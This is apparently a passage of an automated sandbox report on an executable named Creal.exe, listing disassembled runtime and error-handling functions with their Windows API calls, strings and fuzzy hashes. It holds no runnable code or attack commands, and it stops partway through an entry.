Instruction Fuzzy Hash: A3118273E58A83B1FA943128E442379D5C06F54364E94163CE67E067DACE3F6848662F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7B950 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF738B7AB67,?,?,00000000,00007FF738B7AE02,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7B96F
FlsSetValue.KERNEL32(?,?,?,00007FF738B7AB67,?,?,00000000,00007FF738B7AE02,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7B98E
FlsSetValue.KERNEL32(?,?,?,00007FF738B7AB67,?,?,00000000,00007FF738B7AE02,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7B9B6
FlsSetValue.KERNEL32(?,?,?,00007FF738B7AB67,?,?,00000000,00007FF738B7AE02,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7B9C7
FlsSetValue.KERNEL32(?,?,?,00007FF738B7AB67,?,?,00000000,00007FF738B7AE02,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7B9D8

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6d218d6d937f9abb0bd6543015baff16269cd7f0b2a423404de9756a50e14df8
Instruction ID: f58c94b2878e844042fed8798e9f34d5f52aab7c02a998452c1e18d6a901a285
Opcode Fuzzy Hash: 6d218d6d937f9abb0bd6543015baff16269cd7f0b2a423404de9756a50e14df8
Instruction Fuzzy Hash: 41116D62A0838362FA58B72A955117AE1416F447B0F944334F87D467C6DE3EF441AA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7B7E4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF738B7B7F5
FlsSetValue.KERNEL32 ref: 00007FF738B7B814
FlsSetValue.KERNEL32 ref: 00007FF738B7B83C
FlsSetValue.KERNEL32 ref: 00007FF738B7B84D
FlsSetValue.KERNEL32 ref: 00007FF738B7B85E

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 11b00e9af52890ac51cce209499062f8277cd171085a7715210f32ce4bef470a
Instruction ID: f2bf96d76e43752acccce2c13e73e2bcf52d9ea1b9572462d5e02742f437fcf8
Opcode Fuzzy Hash: 11b00e9af52890ac51cce209499062f8277cd171085a7715210f32ce4bef470a
Instruction Fuzzy Hash: 60111862E0934762FAA87A39981557AD1815F44770ED41734F83E4A3D3EE3EB4016A3F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B764B4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B764F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7661A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B766D0

Strings

verbose, xrefs: 00007FF738B764C4

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
Instruction ID: a51b94d7bfc998a69d90d7fc5b823762d1ca0144765f43af6eb808d98c219dcd
Opcode Fuzzy Hash: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
Instruction Fuzzy Hash: 9391E273A0874795E721AA29D4503BDF6A0AF02B94FC44136EA5E463C5DE3EE801A326

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B805A8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B80887

Part of subcall function 00007FF738B869C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B869E1

Strings

ccs, xrefs: 00007FF738B807C2
UTF-16LEUNICODE, xrefs: 00007FF738B80825
UTF-8, xrefs: 00007FF738B80806

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 1a54e2a2b62d6839c513ace75884cea9e48035532f3c44be9a18c4b4dcf643eb
Instruction ID: 6389c78acdf983ba2c32c15c8560c327a4a8be8860a0247fcf64e67a8b215f52
Opcode Fuzzy Hash: 1a54e2a2b62d6839c513ace75884cea9e48035532f3c44be9a18c4b4dcf643eb
Instruction Fuzzy Hash: 5F81B437E08383A5F764AF25C110278FA90AB21BC4FD54039CA0957295DE3FE542BB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6EFD8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF738B6F024
_CallSETranslator.LIBVCRUNTIME ref: 00007FF738B6F073

Strings

RCC, xrefs: 00007FF738B6F041
MOC, xrefs: 00007FF738B6F038

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 37ce56c1d967fba8f41503b71a699ba51a6fbc199d8f022e66d4a2d7a57293db
Instruction ID: 3962efb915221a82dd5da38193d4354307e4b9becaad00823e9af3ad025eb18b
Opcode Fuzzy Hash: 37ce56c1d967fba8f41503b71a699ba51a6fbc199d8f022e66d4a2d7a57293db
Instruction Fuzzy Hash: 07618B33A08B469AEB20DF65D4803ADB7A0FB48B88F544225EF4D17BA8DF39E145C715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6F334 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF738B6F35C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF738B6F444

Strings

csm, xrefs: 00007FF738B6F37E
csm, xrefs: 00007FF738B6F496

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 80d5d2ed719ea387a00afc8e5c38e85421d4b0de11d669121429011e6c75d481
Instruction ID: d91a645752b8a490de2f355425ced82d5c87233e21941f72c6f57573bb3d675b
Opcode Fuzzy Hash: 80d5d2ed719ea387a00afc8e5c38e85421d4b0de11d669121429011e6c75d481
Instruction Fuzzy Hash: AC51AD3390828397EB64AF159044368F7A0FB55B84F984135DA9C47B96CF3EF850EB1A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B62890 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

MessageBoxW.USER32 ref: 00007FF738B6299B
MessageBoxA.USER32 ref: 00007FF738B629B7

Strings

Fatal error detected, xrefs: 00007FF738B62971, 00007FF738B629A9
%s%s: %s, xrefs: 00007FF738B62916

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: e8e3c511841a02337865787422672dc7088828a74b651abb3bad42d47e8d3758
Instruction ID: 8a1ebd905a74a459ecfff5977b2d86dfdd09ea65a393275b6eebd57821c09910
Opcode Fuzzy Hash: e8e3c511841a02337865787422672dc7088828a74b651abb3bad42d47e8d3758
Instruction Fuzzy Hash: C9316473628A83A1E620E724E4516DAE364FF847C4FC04036EA8D47A99DF3DD305DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B63EC0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF738B639EA), ref: 00007FF738B63EF1

Part of subcall function 00007FF738B629E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF738B687F2,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B62A14
Part of subcall function 00007FF738B629E0: MessageBoxW.USER32 ref: 00007FF738B62AF0

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF738B63F2A
GetModuleFileNameW, xrefs: 00007FF738B63F02
Failed to get executable path., xrefs: 00007FF738B63EFB

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 227eff0bc0a0d80c8f8e7ebb06cca3199172163df290dc8daf9e61b6ec9130a6
Instruction ID: af3d03be422189eac7301ee9197385745a98cd05a56df0f527789a8defd059b4
Opcode Fuzzy Hash: 227eff0bc0a0d80c8f8e7ebb06cca3199172163df290dc8daf9e61b6ec9130a6
Instruction Fuzzy Hash: 46017563B2968360FA60B720E8553B5D2A1AF4C7C4FC40435D84D86292EE3FE105A73A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7CB60 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF738B7CBDF
WriteFile.KERNEL32 ref: 00007FF738B7CEA7
WriteFile.KERNEL32 ref: 00007FF738B7CEED
GetLastError.KERNEL32 ref: 00007FF738B7CFA3

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 9513e67bca3e1584d4e6c680d6c879e0cc2bad3dff94493eb0c92e1d92f8606a
Instruction ID: 95fef1231afe642eeb4b4df2f6f439fc04b298dd972778692465ecee4b3e6143
Opcode Fuzzy Hash: 9513e67bca3e1584d4e6c680d6c879e0cc2bad3dff94493eb0c92e1d92f8606a
Instruction Fuzzy Hash: A4D12373B18B82A9E710DF78D4502ACB7B1FB44798B804239EE5D5BB99CE39D40AD314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B62330 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF738B62364
SetWindowLongPtrW.USER32 ref: 00007FF738B62386
GetWindowLongPtrW.USER32 ref: 00007FF738B623B0
InvalidateRect.USER32 ref: 00007FF738B623D0

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
Instruction ID: 41f39ccbb6039f9cddadbfbbeaa41c794110ed44611164e847a271eec7a68c51
Opcode Fuzzy Hash: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
Instruction Fuzzy Hash: D211A922E4818356F654A779F544279D291EF84B80FC48034DA9906B9ECE3ED4C1661A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6C460 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF738B6C48C
GetCurrentThreadId.KERNEL32 ref: 00007FF738B6C49A
GetCurrentProcessId.KERNEL32 ref: 00007FF738B6C4A6
QueryPerformanceCounter.KERNEL32 ref: 00007FF738B6C4B6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d807bcf8cbcf5afbec6ed78c6a62c7f595d782d60191141b96be5bff8736c763
Instruction ID: 3aa3549fce2b551dc30f18773057b67ec220f0b5ffc72335d1553defd61acb71
Opcode Fuzzy Hash: d807bcf8cbcf5afbec6ed78c6a62c7f595d782d60191141b96be5bff8736c763
Instruction Fuzzy Hash: 1A115E22B14F0699EF00DF70E8552BDB3A4FB18758F840E35EA6D467A4DF78D1949390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B8628C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B81DD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B81E03

_get_daylight.LIBCMT ref: 00007FF738B863A4
_get_daylight.LIBCMT ref: 00007FF738B863B5

Strings

?, xrefs: 00007FF738B86335

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 17ef38b8e319b62c4683ba5c2bd00e0c19603a4e78082bfdfdcdf9d98f8fed33
Instruction ID: 9f7abc452390ca59b4b7b7f5a044de33eb5ae905e0e182bd617710726fae73f8
Opcode Fuzzy Hash: 17ef38b8e319b62c4683ba5c2bd00e0c19603a4e78082bfdfdcdf9d98f8fed33
Instruction Fuzzy Hash: D2413813A083C762F760AB29E40937AE660EF817A4F944239EE5C06BD5DF3ED4419715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B795A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B795D6

Part of subcall function 00007FF738B7AF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF22
Part of subcall function 00007FF738B7AF0C: GetLastError.KERNEL32(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF2C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF738B6BFE5), ref: 00007FF738B795F4

Strings

C:\Users\user\Desktop\a\Creal.exe, xrefs: 00007FF738B795E2

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\a\Creal.exe
API String ID: 2553983749-1764499621
Opcode ID: 72bea691884ec75b0bcc04dadd89fc5e2ba2839e886db2c4c4036b89f533388c
Instruction ID: bef2f4923869f02d0db30ccc560b22ccf87167761f4aea6ead3a30891804e415
Opcode Fuzzy Hash: 72bea691884ec75b0bcc04dadd89fc5e2ba2839e886db2c4c4036b89f533388c
Instruction Fuzzy Hash: A3416D33A08713AAEB55EF2994410B9E7A4EF84784F944035F94E47B85DF3EE481A329

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7D1F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF738B7D30F
GetLastError.KERNEL32 ref: 00007FF738B7D331

Strings

U, xrefs: 00007FF738B7D2BB

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: c155d3c2efe6fcc9017d536d5590e74356888db1e245345eaaebbd58f2ba0871
Instruction ID: 64948d5cda8ae8acc42434aba3a1f86b9c318da88bf0907673463ba13f0a493d
Opcode Fuzzy Hash: c155d3c2efe6fcc9017d536d5590e74356888db1e245345eaaebbd58f2ba0871
Instruction Fuzzy Hash: 6041D223B18B82A1EB20AF29E4443A9E7A0FB887D0F844035EE4D87798DF3DD441D725

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7F918 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF738B7F958
GetCurrentDirectoryW.KERNEL32 ref: 00007FF738B7F9AA

Strings

:, xrefs: 00007FF738B7F96E

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 8c9d6e6119a3d5e138ec9497f51396e23ba002432f99201500ff20b1756fd579
Instruction ID: 812d0f9605461c992756b369b27cdca1a71439bc26cf1628457f948d7c062c2b
Opcode Fuzzy Hash: 8c9d6e6119a3d5e138ec9497f51396e23ba002432f99201500ff20b1756fd579
Instruction Fuzzy Hash: B521E523A08382A2EB20AB19D00526DF3B1FF84B44F914035E6AD43384DF7ED945976A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B62B30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

MessageBoxW.USER32 ref: 00007FF738B62C05
MessageBoxA.USER32 ref: 00007FF738B62C21

Strings

Fatal error detected, xrefs: 00007FF738B62BDB, 00007FF738B62C13

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: 63802d79dfeaf9ba572d8d5d5ffec4a1fc362ac500ecb438f71a9def6701a566
Instruction ID: 56246ea0b24bc1dfff830a5e616b3ad65ecd112adf9415c09340f9626c544e5b
Opcode Fuzzy Hash: 63802d79dfeaf9ba572d8d5d5ffec4a1fc362ac500ecb438f71a9def6701a566
Instruction Fuzzy Hash: E9219173628A82A1EA20AB10E4516EAE364FF84784FC05135EA8D47A65DF3DD209DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B62C50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

MessageBoxW.USER32 ref: 00007FF738B62D25
MessageBoxA.USER32 ref: 00007FF738B62D41

Strings

